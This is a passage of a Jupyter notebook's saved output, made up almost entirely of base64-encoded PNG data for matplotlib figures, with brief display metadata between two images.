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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c20415fd0>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAABI8AAALKCAYAAAC7sHHnAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XuY3PddH/q3dmRZ8kWR1hY42EpkKfIPiCxS9OQkamJs\nn7R1bAJN3PaQuBCf2MI6NJxyaRpyUnASDpQEO2khicFCMgEaQbg1JEY4PG1t4xQRTgVUUYDxoo1s\ny4Rie6XIsnWd1fljZ9azq529zn1fr+fx453r77vzW8385v37fD/fJefOnQsAAAAATGWg0wMAAAAA\noHsJjwAAAABoSHgEAAAAQEPCIwAAAAAaEh4BAAAA0JDwCAAAAICGlnZ6AAAA7VQUxQ1JPlEulzdN\nuv5TSQ6Uy+V7J11fSvLRJG/O2LHTveVy+Rert92Y5J4kFyQ5keRfl8vlP63etj3Jv05SSfLVJHeW\ny+Vni6K4JMkDSb41YyfyHqhtsyiKNyb5j9XtnEzyg+Vy+X80+zUAAJgLlUcAANPbnuSaJJuSvDbJ\nDxdF8b8VRbEsyWeSfH+5XP62JD+V5NeSpCiKq5P8dJLvKJfLm5McSvKh6vO9J8mJanj1+iQ/VBTF\na6u3/ack7y2Xy69J8pEkv9KG3w8AYFoqjwCAxeiSoih+I8k3J1me5PvrbyyK4j8k2ZzknyZ5W5Id\n5XL5bJIj1cd9b7lc/tOiKK4sl8tniqJYkmR9kueqT1HKWDXSpUVRHElyUZJjdbddWhTF0uq2B5Kc\nrrttdfXnSzNWfQQA0FEqjwCAxeiqJP+hWuFzf5IPVq9fUhTFJ5K8Mskt5XL5eJK1SZ6qe+zh6uNT\nDY6+sXrdPUl+tnr931Qvl5N8Lcn1Sf599fE/m2Rdkr9N8mSS3yiXy/+zetsdSX61KIrDSe5L8oNN\n/a0BAOZBeAQALEYHy+Xyl6o//0WSb6j+/KNJfiDJB8rl8qnqdQNJztU9dknG+hglScrl8v8ql8tX\nJtma5JeLorimKIp/kuSfZSx4enmS30vyqepDPpnkD5NckeTqJG8uiuKfVUOoX0pyfblcvirJ9yb5\n7aIoLm7erw0AMHfCIwBgMTpT9/O5jAVCSfJokh9O8qmiKC6oXvdkkm+qu/83JTlcFMXLiqJ4W+3K\ncrn8Z0n+Z5Jrk3x3ks+Vy+W/L5fLoxkLjG6s3vXWJPeXy+XRcrn8tSS/Vb3tuiRP1Bpkl8vlz1bH\n+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\nJ/l6kkdmeo7Vqy/K0qXt/5KxZs2lb